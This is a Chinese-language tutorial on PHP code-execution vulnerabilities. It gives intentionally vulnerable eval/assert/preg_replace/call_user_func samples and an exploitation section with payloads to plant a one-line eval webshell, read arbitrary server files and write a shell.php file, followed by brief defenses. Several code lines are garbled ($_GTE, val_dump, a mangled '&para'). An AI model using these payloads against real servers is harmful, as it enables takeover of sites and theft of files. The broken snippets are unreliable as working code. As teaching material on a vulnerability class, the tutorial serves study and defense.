一、原理及成因
RCE代码执行(注入)是指应用程过滤不严,用户可以通过请求将代码注入到应用程序中执行。代码执行(注入)类似于SQL注入漏洞,SQLi是将SQL语句注入到数据库中执行,而代码执行则是把代码注入到应用中最终服务器运行它,这样的漏洞如果没有特殊的过滤,相当于有一个web后门的存在。
二、漏洞危害
WEB应用如果存在代码执行漏洞是一件非常可拍的事情,就像一个人没有穿衣服,赤裸裸的暴露在光天化日之下,可以通过代码执行漏洞继承web用户权限,执行任意代码。如果具有服务器没有正确配置,web用户权限比较高的话,我们可以读写目标服务器任意文件内容,甚至控制整个网站及服务器。
三、相关函数及语句
1、eval()
eval()会将字符串当作PHP代码执行
if(isset($_GET['code'])){ $code=$_GET['code'];eval($code);
}else{echo "code=phpinfo();"
}
?>
提交参数:
?code=phpinfo();
?code=${phpinfo()};
?code=1;phpinfo();
2、assert()
同eval() 字符串当作代码执行
if(isset($_GET['code'])){ $code=$_GET['code'];assert($code);
}else{echo "code=phpinfo();"
}
?>
提交参数:
3、preg_replace()
preg_replace()函数作用是对字符串进行正则匹配
语法
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
参数说明:
-
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
-
$replacement: 用于替换的字符串或字符串数组。
-
$subject: 要搜索替换的目标字符串或字符串数组。
-
$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
-
$count: 可选,为替换执行的次数。
返回值
if(isset($_GET['code'])){ $code=$_GET['code'];preg_replace("/\[(.*)\]/e","\\1",$code);
}else{echo "code=[phpinfo()]"
}?>
提交参数:
4、call_user_func()
call_user_func()函数有调用其他函数的功能,其中的一个参数作为要调用的函数名,那如果这个传入的函数名可控,那就可以调用任意函数来执行我们想要的代码,也就存在任意代码执行漏洞。
该函数的第一个参数作为回调函数,后面的参数为回调函数的参数
if(isset($_GET['func'])){ $func=$_GET['func'];$para=$_GTE['para'];call_user_func($func,$para);}else{echo "?func=assert¶=phpinfo()"
}?>
提交参数
?func=assert¶=phpinfo()
注意:不能使用eval()
5、动态函数
由于php的特性原因,php的函数支持直接由拼接的方式调用,这就导致了php在安全上的控制又加大了难度。不少知名程序中也用到了动态函数的写法,这种写法跟call_user_func()的初中一样,用来更方便的调用函数,但是一旦过滤不严格,就会造成代码执行漏洞。
if(isset($_GET['a'])){ $a=$_GET['a'];$b=$_GTE['b'];$a($b);}else{echo "?a=assert&b=phpinfo()"
}?>
提交参数
?a=assert&b=phpinfo()
四、漏洞利用
1、直接获取shell
一句话木马:?code=@eval($_POST[1])
使用菜刀连接,密码为1
2、获取当前文件绝对路径
__FILE__
是php预定义常量,其含义为当前文件的路径。
参数:?code=print(__FILE__)
3、读文件
我们可以利用file_get_contents()函数读取服务器任意文件,前提是知道目标文件路径和读取权限。
参数:?code=val_dump(file_get_contents("c:\windows\system32\driver\etc\hosts"))
4、写文件
我们可以利用file_put_contents()函数写入文件,前提是知道可写目录。
参数:?code=val_dump(file_put_contents($_POST[1],$_POST[2]))
借助第三方工具通过POST提交参数1=shell.php&2=
会在当前目录下创建shell.php的文件,文件中的代码为
五、防御
- 尽量不要使用eval等函数;
- 如果使用的话一定要严格过滤;
- perg_replace放弃使用/e修饰符;
- disable_function = assert 禁用函数;